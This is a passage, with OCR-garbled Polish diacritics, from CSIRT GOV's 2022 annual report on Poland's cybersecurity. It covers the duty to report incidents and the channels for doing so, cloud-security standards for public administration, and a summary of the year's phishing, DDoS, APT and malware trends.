zgtoszen o ostrzezeniach oraz incydentach, w tym takze wskazywanie oséb odpowiedzialnych za
utrzymywanie kontaktow z podmiotami krajowego systemu cyberbezpieczenistwa. Ma to rowniez
swoje uzasadnienie w zwigzku z wprowadzonymi na obszarze RP stopniami alarmowymi w CRP,
ktore naktadajg na podmioty ksc dodatkowe zadania, m.in. dokonywania weryfikacji ustanowio-
nych punktow kontaktowych z zespotami reagowania na incydenty bezpieczenstwa teleinforma-
tycznego wtasciwymi dla rodzaju dziatania organizacji®.

Obowigzek utrzymywania punktow kontaktowych, w mysl ustawy o ksc, dotyczy operato-
row ustug kluczowych, podmiotéw publicznych, dostawcow ustug cyfrowych. W przypadku opera-
torow ustug kluczowych lub podmiotéw publicznych powinien by¢ realizowany w ciggu 14 dni od
dnia wyznaczenia lub zmiany danych kontaktowych. Powinny byc to osoby stale zaangazowane
w cyberbezpieczenstwo w zakresie organizacyjnym, czy posiadajace okreslone funkcje w struktu-
rze podmiotu (np. jako petnomocnicy ds. cyberbezpieczenstwa). Osoby te s uprawnione do zgta-
szania incydentow bezpieczenstwa teleinformatycznego. Jako punkty kontaktowe, dedykowane
do wymiany informacji o zagrozeniach czy zgtaszania incydentow, mogg by¢ takze ustanawianie
dodatkowo raznego rodzaju zespoty CSIRT/CERT czy SOC, odpowiedzialne za cyberbezpieczenstwo
infrastruktury danego podmiotu. Niezaleznie od tego ustawa o krajowym systemie cyberbezpie-
czenstwa wskazuje na konieczno$¢ ustanawiania punktu personalnego dla kazdego podmiotu.

"Ustawa z dnia 5 lipca 2018 roku o krajowym systemie cyberbezpieczenstwa (Dz. U. 2018 poz. 1560 ze zm.)
?Rozporzadzenie Prezesa Rady Ministréw z dnia 25 lipca 2016 r. w sprawie zakresu przedsigwzie¢ wykonywanych w
poszczegdlnych stopniach alarmowych i stopniach alarmowych CRP (Dz. U. 2016 poz. 1107)




Dynamika zagrozen i koniecznos¢ niezwtocznych dziatan przypadku wystapienia incydentow
bezpieczenstwa uzasadniajg okolicznosci, aby kwestie wymiany informacji o cyberzagrozeniach
i zgtaszania incydentow byty, tam, gdzie jest to mozliwe, realizowane przez zespoty cyberbez-
pieczenstwa, najlepiej dziatajace w trybie 24/7. W przedmiotowym zakresie wartymi zapozna-
nia s rekomendacje wydane przez CSIRT GOV oraz CERT POLSKA, ktore sg dostepne na stronie
https://incydent.cert.pl/osoba-kontaktowa/rekomendacje.

Innym obszarem, istotnym z punktu widzenia analizy ryzyka dla cyberprzestrzeni RP, jest
obowigzek zgtaszania przez podmioty krajowego systemu cyberbezpieczenstwa incydentow zi-
dentyfikowanych w infrastrukturze podmiotow. Dotyczy to zwtaszcza obowigzku zgtaszania przez
operatorow ustug kluczowych incydentdw powaznych, a takze zgtaszania incydentow istotnych
przez dostawcow ustug cyfrowych oraz incydentdéw w podmiocie publicznym przez podmioty pu-
bliczne w terminie 24 godzin od momentu ich wykrycia, do wtasciwego zespotu krajowego, w tym
CSIRT GOV w ramach ustawowo ustanowionej kompetencji zespotow poziomu krajowego. Nalezy
zauwazyc, ze w rozumieniu ustawy o krajowym systemie cyberbezpieczenstwa mowa jest nie tyl-
ko o incydentach, ktdre powodujg powazne obnizenie jakosci lub przerwanie ciggtosci Swiadczenia
ustugi kluczowej, czy incydentach, w przypadku podmiotu publicznego, ktore powodujg obnizenie
jakosci lub przerwanie realizacji zadania publicznego, ale takze o sytuacji wskazujacej na mozli-
wos¢ spowodowania wyzej wymienionych skutkow.

Zgtaszajac incydent do Zespotu CSIRT GOV nalezy korzystac z przygotowanych do tego celu
kanatow komunikacji elektronicznej, w tym:

= poprzez wypetnienie formularza incydentu dostepnego na stronie www.csirt.gov.pl
w zaktadce ,Zgtaszanie incydentu” i przestanie formularza w wiadomosci e-mail na
adres: incydent@csirt.gov.pl;

= za posrednictwem Systemu S4é, funkcjonujacego na podstawie art. 46 ustawy o kra-
jowym systemie cyberbezpieczenstwa, w przypadku podmiotow posiadajgcych dostep
do Systemu S46.



Wtascicielem Systemu S46 jest minister wtasciwy ds. informatyzacji, a za utrzymanie i roz-
woj odpowiedzialna jest Naukowa i Akademicka Sie¢ Komputerowa - Panstwowy Instytut Badaw-
czy (dalej: NASK PIB). Uczestnictwo w Systemie S46, poza mozliwoscig bezposredniego zgtaszania
incydentow bezpieczenstwa teleinformatycznego, daje rowniez mozliwosc dostepu do informacji
0 zagrozeniach, incydentach czy podatnosciach, a takze dodatkowych mozliwosci w zakresie ana-
lizy ryzyka.

W przypadku checi uzyskania szczegotowych informacji dotyczacych Systemu S4é
oraz w celu okreslenia mozliwosci podtaczenia sie do systemu, nalezy kontaktowac sie z bezpo-
$rednio z NASK PIB, za posrednictwem adresu s46-info@nask.pl.

Korzystanie z dedykowanych kanatow komunikacji elektronicznej jest niezbedne do
niezwtocznego reagowania na incydenty bezpieczenstwa, umozliwia prowadzenie prawidtowej
i efektywnej analizy ryzyka zagrozen w CRP, a takze wspomaga proces dystrybucji przez Zespot
CSIRT GOV ostrzezen czy formutowania zalecen. Wzrost znaczenia zunifikowanych i droznych ka-
natdw komunikacji nabrat szczegdlnego znaczenia w kontekscie pojawienia sie zagrozen skutku-
jacych wprowadzeniem w 2022 roku w cyberprzestrzeni RP stopni alarmowych CRP. Oznaczato
to konieczno$¢ prowadzenia wzmozonego monitorowania stanu bezpieczenstwa systemow tele-
informatycznych w ramach infrastruktury teleinformatycznej podmiotow krajowego systemu cy-
berbezpieczenstwa. W przypadku wykrycia incydentdw naruszajgcych bezpieczenstwo tych sys-
temow, skuteczne i szybkie przekazanie informacji o zagrozeniach do Zespotu CSIRT GOV pozwala
bowiem na biezaca, wtasciwg ocene rzeczywistych zagrozen dla pozostatych podmiotow, a co za
tym idzie przyczynia sie do wzmocnienia ogdlnego poziomu cyberbezpieczenstwa RP.

107




WYTYCZNE W ZAKRESIE
STOSOWANIA ROZWIAZAN
TYPU CHMURY
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8.1. Wykorzystanie rozwigzan chmurowych w administracji RP

Organy administraciji panstwowej, podobnie jak przedsiebiorstwa prowadzace dziatalnosc
biznesowa, stajg wobec nowych wyzwan, bedacych efektem statego i dynamicznego rozwoju tech-
nologii informacyjno-telekomunikacyjnej (Information&Communication Technologies - ICT). Jako
jeden z najszybciej rozwijajacych sie obszardw wyrdzni¢ mozna silng ekspansje i upowszechnie-
nie rozwigzan opierajacych sie na przetwarzaniu chmurowym (ang. Cloud Computing - CC).

Przedmiotowy trend dotyczy takze szeroko pojetego sektora panstwowego, gdzie za-
uwazalna jest wzrastajgca tendencja do przechodzenia z modelu dystrybucji ustug z rozwigzan
on-permise w kierunku modelu Software as a Service (SaaS), jako tanszego i efektywniejszego
w zakresie utrzymania, aktualizacji i rozwoju systemow. Nalezy zauwazy¢ przy tym, ze organy
administracji panstwowe]j oraz pozostate podmioty realizujgce zadania publiczne na podstawie
Rozporzadzenia Rady Ministréw z dnia 12 kwietnia 2012 r. w sprawie Krajowych Ram Interopera-
cyjnosci, minimalnych wymagan dla rejestrow publicznych i wymiany informacji w postaci elek-
tronicznej oraz minimalnych wymagan dla systemow teleinformatycznych (Dz.U. 2017 poz. 2247)
zostaty zobligowane do wtasciwego doboru $rodkow, metod i standardéw wykorzystywanych do
zaplanowania, wdrozenia oraz utrzymania systemow teleinformatycznych wykorzystywanych do
realizacji wtasnych zadan.

Jednym z dostepnych $rodkow, zapewniajgcych mozliwosé realizacji powyzszych celow,
przy zachowaniu reguty optymalizacji kosztow funkcjonowania administraciji publicznej, a takze
jednoczesnym zachowaniu wtasciwych standardow w zakresie dostepnosci i jakosci $wiadczo-
nych ustug jest zastosowanie przetwarzania chmurowego. Jednakze, biorgc pod uwage rosngca
skale zagrozen bezpieczenstwa cyberprzestrzeni, istotnym elementem projektowania i wdrazania
rozwigzan ICT w tym obszarze jest wtasciwe zaprojektowanie, wdrozenie i utrzymanie rozwigzan
oparciu o rzetelnie przeprowadzony proces analizy ryzyka i wyboru rozwigzan odpowiednich dla
specyfiki dziatania poszczegdlnych podmiotow. W tym zakresie nalezy w szczegdlnosci braé pod
uwage rodzaj agregowanych i przetwarzanych danych, realizowany w oparciu o0 obowigzujace re-
guty prawa.

Podstawowym aktem prawnym dotykajagcym problematyki bezpieczenstwa teleinforma-
tycznego krajowego sektora publicznego jest ustawa z dnia 17 lutego 2005 r. o informatyzacji dzia-
talnosci podmiotow realizujgcych zadania publiczne (Dz.U. 2023 poz. 57), a takze wydane w opar-
ciu o nig przytoczone powyzej Rozporzadzenie. Przepisy te okreslajag minimalne wymagania dla
systemow teleinformatycznych projektowanych, wdrazanych i wykorzystywanych przez podmioty



administracji publicznej, zapewniajgcych m. in. wtasciwy poziom funkcjonalnosci, niezawodnosci,
uzywalnosci, wydajnosci, dostepnosci oraz przenoszalnosci. Przywotane przepisy obliguja ponad-
to uzytkownikow przedmiotowej infrastruktury do wdrozenia, utrzymywania i doskonalenia syste-
mu zarzadzenia bezpieczenstwem informacji w niej przetwarzanych zapewniajacy ich poufnosé,
dostepnosc oraz integralnosé, przy uwzglednieniu takich atrybutow jak autentycznosc, rozliczal-
no$¢, niezaprzeczalnosé, a takze niezawodnosc stosowanych rozwigzan.

W obszarze wykorzystania ustug chmurowych przez organy administracji publicznej, do-
kumentem wiodacym jest Uchwata nr 97 Rady Ministrow z dnia 11 wrzesnia 2019 r. w sprawie
Inicjatywy ,Wspdlna Infrastruktura Informatyczna Panstwa” (M.P. 2021 poz. 1006), obejmujaca
w szczegolnosci zagadnienia zwigzane z:

= budowa, rozwojem, utrzymaniem, wykorzystaniem oraz zarzadzaniem zasobami
Rzadowej Chmury Obliczeniowej (RCB), jako chmury wspdlnotowej administracji pu-
blicznej",

= budowg, rozwojem i utrzymaniem Rzadowego Klastra Bezpieczenstwa, rozumianego
jako zespot ustug bezpieczenstwa oraz srodkow technicznych stosowanych do zabez-
pieczenia Rzadowej Chmury Obliczeniowe;j;

= zapewnieniem podmiotom administracji publicznej mozliwosci nabywania ustug
przetwarzania w publicznych chmurach obliczeniowych;

= budowag i utrzymaniem systemu teleinformatycznego wspomagajacego zarzadzanie
ustugami przetwarzania w Rzadowej Chmurze Obliczeniowej i w publicznych chmu-
rach obliczeniowych, zwanego dalej ,Systemem Zapewnienia Ustug Chmurowych”
(https://chmura.gov.pl/zuch);

= okresleniem Standardow Cyberbezpieczenstwa Chmur Obliczeniowych (SCCO).

Dziatania w ramach inicjatywy WIIP s réwniez elementem budowy krajowego systemu
cyberbezpieczenstwa, o ktorym mowa w ustawie z dnia 5 lipca 2018 r. o krajowym systemie cy-
berbezpieczenstwa (Dz. U. 2022 poz. 1863).

"chmura wspdlnotowa - sposdb wdrazania chmury obliczeniowej, w ktdrym infrastruktura jest przeznaczona do
wytacznego uzytku przez okreslong grupe organizacji majgcych wspdlne zatozenia (m.in. misje, wymagania bezpie-
czenstwa, polityke, zgodno$¢ z regulacjami), moze by¢ wtasnoscig jednej lub wiecej organizacji wchodzacej w sktad
grupy, strony trzeciej lub ich kombinacji badz moze by¢ przez nie zarzadzana i obstugiwana i jest zainstalowana w
siedzibie organizacji lub poza nig;




12

Wsrod strategicznych kierunkow, jakie realizuje inicjatywa WIIP nalezy wymienic¢ przede
wszystkim:
= podniesienie poziomu bezpieczenstwa przetwarzania danych i $wiadczenia ustug
elektronicznych w administracji rzadowej;

= ograniczenie zjawiska wielokrotnego gromadzenia tych samych danych w Srodowi-
skach informatycznych oraz zniesienie barier technologicznych w przypadku rejestrow
publicznych;

= upowszechnienie modelu przetwarzania w chmurach obliczeniowych, jako gtdwne-
go sposobu realizacji systemdw teleinformatycznych panstwa (w tym réwniez zmiana
technologii wytwarzania oprogramowania).

Waznym elementem inicjatywy WIIP jest opracowanie klasyfikacji systemow teleinforma-
tycznych oraz wdrozenie jednolitych standardow bezpieczenstwa infrastruktury przetwarzania
danych, ktore umozliwig migracje systemow i danych do modelu przetwarzania w chmurze obli-
czeniowej.

Przedmiotowa regulacja okresla m. in. zagadnienia zwigzane z minimami technicznymi
oraz organizacyjnymi, ktdre muszg zostac spetnione przez operatorow centrow przetwarzania
danych oferujacych ustugi przetwarzania chmurowego, a takze kryteria klasyfikacji i oceny moz-
liwosci korzystania przez dany system teleinformatyczny z ustug przetwarzania w RChO oraz pu-
blicznych chmurach obliczeniowych. Definiuje ponadto rodzaje chmur obliczeniowych (publiczna,
prywatna, hybrydowa, wspolnotowa) oraz modele $wiadczonych przez nie ustug (laaS, Paas, SaaS)
mozliwych do wykorzystania przez jednostki administracji publicznej.

Uchwata definiuje jednoczesnie odpowiedzialno$¢ CSIRT GOV, a takze pozostatych Zespo-
tow Reagowania na Incydenty Bezpieczenstwa Komputerowego dziatajgcych na poziomie krajo-
wym.

Zgodnie z jej postanowieniami CSIRT GOV jest odpowiedzialny za oceng mozliwosci wyko-
rzystania publicznych chmur obliczeniowych przez podmioty administracji panstwowej pozostaja-
ce w obszarze jego dziatania i przygotowanie opinii w powyzszym zakresie.



Podmiot odpowiedzialny za utrzymanie okreslonego systemu teleinformatycznego jest zo-
bligowany do przeprowadzenia analizy pozwalajgcej na dokonanie oceny optymalnego i bezpiecz-
nego wykorzystania ustug chmurowych. Przy wyborze modelu ustugi nalezy przede wszystkim
bra¢ pod uwage kryteria okreslajace mozliwos¢ wykorzystania ustug chmurowych, w zaleznosci
od rodzaju i wrazliwosci przetwarzanych w systemach danych. W przypadku, gdy przedmioto-
wa kwalifikacja umozliwia wykorzystanie przetwarzania w okreslonej kategorii ustug chmuro-
wych system, czy zasob moze zosta¢ ulokowany w odpowiedniej chmurze. Wybor rozwigzania
powinien byc jednak poprzedzony analiza wedtug kryteriow okreslonych w przygotowanych przez
Ministerstwo Cyfryzacji Standardach Cyberbezpieczenstwa Chmur Obliczeniowych - SCCO
(https://chmura.gov.pl/zuch/static/media/SCCO_v_1.00.pdf)2

Dokument SCCO stanowi zbior wymagan prawnych, organizacyjnych i technicznych zapew-
niajacych cyberbezpieczenstwo w modelach wdrazania chmur obliczeniowych w ramach Inicjaty-
wy ,Wspdlna Infrastruktura Informatyczna Panstwa”, jakie muszg spetni¢ podmioty administracji
rzadowej zarzadzajace Centrami Przetwarzania Danych (CPD), w celu ich przytaczenia do Rza-
dowego Klastra Bezpieczenstwa (RKB) lub wtaczenia do wspdlnych zasobdw Rzadowej Chmury
Obliczeniowej (RChO), a takze dostawcy ustug chmur obliczeniowych w ramach Publicznej Chmury
Obliczeniowej (PChO).

Definiuje w szczegdlnosci ponizsze elementy:

= poziomy wymagan bezpieczenstwa wg rodzaju przetwarzanych informacji:
- Poziom SCCO1: niekontrolowane informacje nieklasyfikowane;
- Poziom SCCO2: kontrolowane informacje urzedowe;
- Poziom SCCO3: kontrolowane wrazliwe informacje urzedowe;
- Poziom SCCO4: informacje niejawne.

= przyporzadkowanie okreslonych rodzajow ustug chmurowych wg pozioméw wyma-
gan dla poszczegdlnych systemow:

- zasoby RChO;

- publiczne chmury obliczeniowe w jurysdykcji polskiej;

- publiczne chmury obliczeniowe poza polska jurysdykcja.

2 Przy wyborze modelu ustug, a takze ich dostawcy, podmioty administracji publicznej moga opiera¢ analize rowniez
o kryteria okreslone w innych standardach. Istotnym w tej materii jest m. in. Komunikat Urzedu Komisji Nadzoru Fi-
nansowego z dnia 23 stycznia 2020 r. dotyczacy przetwarzania przez podmioty nadzorowane informacji w chmurze
obliczeniowej publicznej lub hybrydowej (https://www.knf.gov.pl/knf/pl/komponenty/img/Komunikat_UKNF_Chmura_
Obliczeniowa_68669.pdf). Niemniej jednak SCCO stanowig zbidr standardow podstawowych dla sektora publicznego.
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= proces wyboru i przygotowania rozwigzania uwzgledniajacy analize ryzyka;
= wymagania w zakresie zabezpieczenia danych (w tym protokotdw szyfrowania);
= algorytm postepowania przy wyborze dostawcy ustug przetwarzania chmurowego.

Zespot CSIRT GOV, realizujac zadania w zakresie oceny mozliwosci ulokowania zasobow
podmiotow administracji w chmurze obliczeniowe]j skupia sie przede wszystkim na ocenie ry-
zyk zwigzanych wykorzystaniem tego rozwigzania w kontekscie bezpieczenstwa kluczowych dla
podmiotdw oraz catego obszaru administracji panstwowej zasobow informacii. Nalezy przy tym
podkreslic, iz szczegbtowa analiza ryzyka pozostaje Scisle uzalezniona od specyfiki danego pod-
miotu, sposobu jego funkcjonowania, umiejscowienia w poszczegdlnych obszarach administracii,
a wreszcie rodzaju i poziomu wrazliwosci przetwarzanych danych.

Przyblizeniu tego typu klasyfikacji zasobow stuzy przede wszystkim tabela pogladowa
wtasciwa dla standardu SCCO. Jednakze, jako punkt wyjscia kazdorazowo nalezy mie¢ na uwa-
dze przestanke bezwzgledng dotyczacq okreslenia mozliwosci przetwarzania danych w chmurze
w ogole®, a nastepnie w przypadku stwierdzenia dopuszczalnosci przetwarzania w chmurze okre-
$lenie rodzaju dopuszczalnej chmury dla przetwarzanych zasobdéw wedtug SCCO.

3 Podstawg do oceny czy dane przetwarzane w systemie teleinformatycznym moga by¢ rozpatrywane pod katem
rozwigzan chmurowych jest Zatacznik nr 2 do Uchwaty nr 97 Rady Ministréw z dnia 11 wrzesnia 2019 r. w sprawie
Inicjatywy ,Wspdlna Infrastruktura Informatyczna Panstwa”, w ktorym okreslone zostaty Kategorie systemdw telein-
formatycznych, ktére moga korzystac z ustug przetwarzania w Rzgdowej Chmurze Obliczeniowej lub w publicznych
chmurach obliczeniowych wraz z oznaczeniem mozliwosci utrzymania w Rzadowej Chmurze Obliczeniowej lub w
publicznych chmurach obliczeniowych.
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Zrddto: https://chmura.gov.pl/zuch/static/media/SCCO_v_1.00.pdf
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Wykorzystanie ustug chmurowych pozostaje kazdorazowo w gestii gestora danych czy tez
systemow. Niemniej jednak CSIRT GOV, przy ocenie mozliwosci zastosowania poszczegolnych wa-
riantow ustug opierajacych sig na przetwarzaniu chmurowym, bierze pod uwage identyfikowalne
obszary cyberbezpieczenstwa zasobdw, w oparciu o podstawowe atrybuty, tj. poufnos¢ informacii,
ich integralnosé, czy dostepnosc.

W przedmiotowym zakresie punktem wyjscia oceny ryzyka jest Swiadomosc, iz przeniesie-
nie procesow przetwarzania danych i utrzymania systemow do chmury obliczeniowej nie zwalnia
ustugobiorcy z odpowiedzialnosci za prawidtowosc i bezpieczenstwo funkcjonowania procesow.
Poziom odpowiedzialnosci jest rozny w zaleznosci od rodzaju ustugi (najwiekszy w modelu laaS),
jednakze to do obszaru odpowiedzialnosci wtasciciela danych nalezy ocena bezpieczenstwa wy-
korzystania ustug chmurowych, a takze statego monitoringu oraz doskonalenie jego poziomu.

Jezeli chodzi o kryteria, ktére s3 brane pod uwage w procesie oceny mozliwosci
wykorzystania poszczegdlnych rodzajow ustug oraz oceny bezpieczenstwa, naleza do nich przede
wszystkim:

= rodzaj i wrazliwos$¢ danych przetwarzanych w ramach ustugi, a takze ewentualne
konsekwencje nieuprawnionego dostepu do informacji, ich ujawnienia, badz utraty
(w tym nieautoryzowanego dostepu do danych gwarantowang przez jurysdykcje kraju
ustugodawcy);

= rodzaj ustugi $wiadczonej w chmurze;

= dostepnosc ustugi oraz ewentualny wptyw braku ciggtosci dostepu do ustugi na pro-
cesy realizowane przez podmiot;

= zapewnienie szyfrowej ochrony danych przesytanych i przechowywanych w ramach
ustugi;

= zapewnienie wtasciwego poziomu uwierzytelnienia uzytkownikéw ustug;

“ Poufnos¢ informaciji, w zakresie ktdrej nalezy przeanalizowac czy jej naruszenie (np. nieautoryzowane ujawnienie
danych) bedzie uniemozliwiato lub bedzie powodowato istotne zagrozenie dla realizacji szczegdlnych zadan panstwa
Integralnos¢ informacji, w zakresie ktdrej nalezy przeanalizowac, czy naruszenie integralnosci (np. nieautoryzowane
zmodyfikowanie) danych bedzie uniemozliwiato lub bedzie powodowato istotne zagrozenie dla realizacji szczegdlnych
zadan panstwa, czy system jest systemem referencyjnym dla innych systemdow, w tym czy modyfikacja danych w
systemie moze spowodowac lub ma wptyw na dane przetwarzane w innym systemie o szczegélnym znaczeniu dla
realizacji zadan panstwa, a takze czy wpis lub zmiana wpisow w systemie powoduje bezposrednie skutki prawne;
Dostepnos¢ informacji, w zakresie ktorej nalezy okresli¢, czy brak dostepu do danych bedzie uniemozliwiat lub po-
wodowat istotne zagrozenie dla realizacji szczegolnych zadan panstwa, a takze czy w celu realizacji szczegdlnych
zadan panstwa system powinien funkcjonowac réwniez w przypadku braku $wiadczenia ustug przez dostawcy ko-
mercyjnego.



= mozliwosc elastycznego wptywu na zakres ustug swiadczonych przez dostawce roz-
wigzan chmurowych;

= lokalizacje centrow gromadzenia danych ustugodawcow, ktora moze implikowaé
problemy wynikajace z braku zgodnosci regulacyjnej w sytuacji ewentualnych sporéw
prawnych;

= zgodno$¢ technologiczng pomigdzy ustugami roznych dostawcow oraz wtasng infra-
strukturg podmiotow;

= mozliwos¢ wykorzystania infrastruktury w oparciu o CPD bedace w posiadaniu wta-
snym, badz podmiotow partnerskich;

= rzetelne uregulowanie zasad wspotpracy w ramach umow o $wiadczenie ustug.

W celu zapewnienia jak najwiekszego poziomu bezpieczenstwa, a takze efektywnosci
wykorzystania ustug chmurowych, CSIRT GOV rekomenduje wykorzystanie systemu Zapewnienia
Ustug Chmurowych - ZUCH (https://chmura.gov.pl/zuch). Jest to platforma dedykowana dla pod-
miotdw administracji publicznej, umozliwiajgca m. in.:

= kwalifikacje systemu informatycznego, umozliwiajgca okreslenie czy dany system
lub jego czes¢ moze zostac umieszczona w PChO, lub RChO, czy tez nalezy go umiescic
poza srodowiskiem chmurowym;

= optymalizacje procesu zamawiania ustug poprzez podpisanie ,ex ante” umow ramo-
wych z wybranymi dostawcami (odbiorcy ustug beda przystepowac do postepowania na
etapie uméw wykonawczych);

= wsparcie procesu pre-konfiguracji ustug.

Zintegrowanie procesu konfigurowania i wyboru ustug w ramach Systemu ZUCH pozwa-
la na uzyskanie szeregu korzysci. Ciggty rozwoj katalogu ustug chmurowych w ramach RChO
oraz PChO umozliwia wtasciwe dostosowanie wymagan do specyfiki poszczegdlnych podmiotow.
Dodatkowo, dzigki rozbudowanemu katalogowi dostawcow ustug, zainteresowana instytucja jest
w stanie ograniczyc czas potrzebny na wybor dostawcy ustugi oraz zawarcie umowy, a takze ogra-
niczy¢ koszty (efekt skali) oraz ryzyka zwigzanego z zakupem ustug IT (zweryfikowany dostawca).
Jednoczesnie okreslenie w systemie standardow ustug pozwala na ujednolicenie metod wykorzy-
stania ustug chmurowych oraz ujednolicenie standardow bezpieczenstwa dla oferowanych ustug
przetwarzania chmurowego. W zakresie odpowiedzialnosci CSIRT GOV umozliwia rowniez szybka
i rzetelng ocene mozliwosci wykorzystania poszczegolnych wariantow rozwigzan chmurowych
w ramach konkretnych procesow.
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9. Podsumowanie

W roku 2022 r. Zespét CSIRT GOV, podobnie jak w latach ubiegtych, odnotowat wysoki wolu-
men incydentdw bezpieczenstwa teleinformatycznego identyfikowanych w obszarze infrastruktury
podmiotéw wchodzacych w sktad krajowego systemu bezpieczenstwa, w szczegélnosci organow
administracji publicznej, a takze systemdw nalezacych do operatorow infrastruktury krytycznej
RP. Jako incydenty bezpieczenstwa zakwalifikowano tgcznie 21 563 zdarzenia. W przewazajgcej
czesci byty to zdarzenia rozpoznane przez system wczesnego ostrzegania ARAKIS GOV, ktdrego
zasieg dziatania jest systematycznie poszerzany. Ponadto, sposrod zgtoszen otrzymanych przez
Zespot CSIRT GOV, jako incydenty zakwalifikowano 4 959 zdarzen.

Istotny wptyw na liczbe zgtoszen miato ogtoszenie przez Prezesa Rady Ministrow stopnia
alarmowego ALFA-CRP, a nastepnie CHARLIE-CRP. Przedmiotowa sytuacja skutkowata zwieksze-
niem stopnia zaangazowania zespotow odpowiedzialnych za bezpieczenstwo systemow teleinfor-
matycznych, stanowigce odpowiedz na zwigkszone zagrozenie ze strony dziatan cyberprzestep-
czych dla elementow infrastruktury kluczowych z punktu widzenia funkcjonowania panstwa.

W zakresie rodzaju oraz wolumenu identyfikowanych zagrozen, najwigksza liczba od-
notowanych zdarzen dotyczyta prob wykorzystania podatnosci wynikajgcych zaréwno z btednej
konfiguracji elementéw systemdw, jak rowniez samych podatnosci ujawnianych w stosowanych
rozwigzaniach teleinformatycznych.

Szczegolng uwage w kontekscie bezpieczenstwa chronionych systemdw nalezy zwrdcic
na fakt odnotowania znacznej liczby kampanii socjotechnicznych. W roku 2022 rozpoznano 1053
incydenty tego rodzaju, w ramach ktorych atakujacy wykorzystywali narzedzia o rdznorodnym
charakterze. Charakterystyczne byto w tym zakresie celowe wykorzystywanie wizerunku, elemen-
tow graficznych, czy wreszcie merytorycznej zawartosci oficjalnych domen oraz korespondencji
jednostek administracji publicznej oraz znanych podmiotow gospodarczych. Celem kampanii byty
przede wszystkim proby pozyskania danych uwierzytelniajacych do infrastruktury atakowanych
podmiotow, w tym stuzbowych skrzynek poczty elektronicznej ich pracownikéw. Identyfikowane
byty takze aktywnosci zmierzajace do dystrybucji oprogramowania ztosliwego, a takze wytudze-
nia srodkow finansowych. Kampanie te miaty czestokroc charakter rozproszony i masowy. Jako
niosgce najwieksze zagrozenie kwalifikowano jednakze kampanie ukierunkowane na konkretne
podmioty, w tym infrastrukture krytyczna. Swiadczyty one bowiem o celowosci i intencjonalnosci
atakujacych.



Nie mniej istotnym zagrozeniem, mogacym przede wszystkim skutkowac utrudnieniem
badz, w skrajnych przypadkach, uniemozliwieniem dostepu do upowszechniajgcego sie w ostat-
nich latach systemu ustug publicznych $wiadczonych za posrednictwem Internetu, byty ataki
DDoS. Zespot CSIRT GOV obserwowat ponad dwukrotny wzrost tego rodzaju dziatan. Co wiecej,
charakter, korelacja czasowa, a takze wybor celdw, Swiadczyty o wysokim poziomie koordynacii
oraz celowosci dziatan grup cyberprzestepczych.

Na podstawie zgtoszen kierowanych do CSIRT GOV, a takze danych pozyskiwanych z sys-
temu ARAKIS mozna stwierdzic, iz obszarem, w zakresie ktorego niezmiennie odnotowywana jest
najintensywniejsza aktywnos$c cyberprzestepcza jest infrastruktura krytyczna RP (w tym ener-
getyka, transport). Istotnym celem atakow byty rowniez instytucje swiadczace ustugi publiczne
(m.in. w zakresie ubezpieczen spotecznych, stuzby zdrowia) oraz podmioty administracji publicz-
nej (w szczegolnosci w zakresie ustug on-line).

Ponadto, w ramach biezacej pracy, Zespot CSIRT GOV dystrybuowat ostrzezenia i rekomen-
dacje w zakresie rozpoznanych zagrozen cyberprzestrzeni, m.in. dot. zidentyfikowanych wskazni-
kow zagrozen (loC), podatnosci, kampanii socjotechnicznych, czy planowanych atakéw DDoS.

Obecna sytuacja geopolityczna, w szczegdlnosci konflikt zbrojny w Ukrainie, postawita
przed Zespotem CSIRT GOV szereg zupetnie nowych wyzwan oraz wygenerowata nienotowany
wczesniej poziom zagrozen. Nalezy tutaj przede wszystkim wskazac intensyfikacje atakow wy-
mierzonych w infrastrukture teleinformatyczng podmiotow nalezacych do administracji rzadowe;
oraz podmiotéw odpowiedzialnych za utrzymanie funkcjonowania infrastruktury krytyczne;.

W zwigzku z powyzszym, dziatajgc w okolicznosciach statego, podwyzszonego pozio-
mu zagrozenia w dniu 18 stycznia 2022 roku wprowadzono na terytorium RP stopien alarmowy
ALFA-CRP, ktory w dniu 21 lutego 2022 roku podwyzszono do stopnia alarmowego CHARLIE-CRP.
Stopien ten zostat utrzymany do konca minionego roku. Jego wprowadzenie spowodowato ko-
nieczno$¢ realizacji przez krajowe Zespoty Reagowania na Incydenty Bezpieczenstwa Kompute-
rowego szczebla krajowego okreslonego spektrum dziatan. Z punktu widzenia CSIRT GOV byto
to w szczegolnosci wmozenie monitoringu stanu bezpieczenstwa systemow teleinformatycznych
organdw administracji publicznej lub systemow teleinformatycznych wchodzacych w sktad infra-
struktury krytycznej.
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0d lutego 2022 r,, tj. od czasu wprowadzenia stopnia alarmowego CHARLIE CRP na terenie
kraju, CSIRT GOV zarejestrowat znaczny wzrost liczby atakéw DDoS, a takze szereg socjotech-
nicznych kampanii phishingowych, czy podmian stron internetowych. Jednoczesnie, miaty miejsce
incydenty wskazujace na aktywno$¢ dezinformacyjna, w szczegdlnosci o charakterze antyukrain-
skim.

Dodatkowo, w toku realizowanych w ramach CHARLIE-CRP zadan, Zespot CSIRT GOV roz-
dystrybuowat szereg ostrzezen oraz biuletynow bezpieczenstwa, zawierajgcych informacje na
temat podatnosci, ktore byty wykorzystywane podczas trwania zidentyfikowanych w 2022 roku
kampanii, czy atakow elektronicznych. Do najczesSciej wystepujacych zagrozen nalezy zaliczyc tu-
taj wykorzystanie podatnosci srodowiska MS Exchange Server.

Rok 2022 to takze czas intensyfikacji dziatan grup APT - wielu z nich dziatajacych w kon-
tekscie konfliktu zbrojnego w Ukrainie. Szczegolnym, relatywnie nowym rodzajem zagrozenia,
ktory zostat zidentyfikowany m.in. w Ukrainie byto wykorzystanie szkodliwego oprogramowania
typu wiper, majacego na celu uszkodzenie przetwarzanych na zaatakowanym systemie danych,
a tym samym doprowadzenie do jego catkowitej nieuzytecznosci.

W obszarze CRP, Zespot CSIRT GOV zarejestrowat aktywnos¢ innych grup APT, ktdre od lat
wpisuja sie w polski krajobraz cyberzagrozen, w szczegolnosci APT28, APT29, Turla, czy Mustang
Panda. Natomiast, rozpoznany wektor ataku opierat sie przede wszystkim o ,tradycyjne” techniki,
tj. ataki socjotechniczne, majgce na celu propagacje szkodliwego oprogramowania, ktorego za-
daniem byta kradziez danych wrazliwych i utrzymanie statego, zdalnego dostepu do przejetych
zasobow.

Jednym z wazniejszych obszarow dziatania Zespotu CSIRT GOV jest analiza szkodliwe-
go oprogramowania. Zgodnie z przeprowadzonymi w 2022 roku analizami najczesciej badanymi
probkami byto zagrozenie typu RAT o nazwie Agent Tesla oraz szereg wariantow zagrozenia HTML
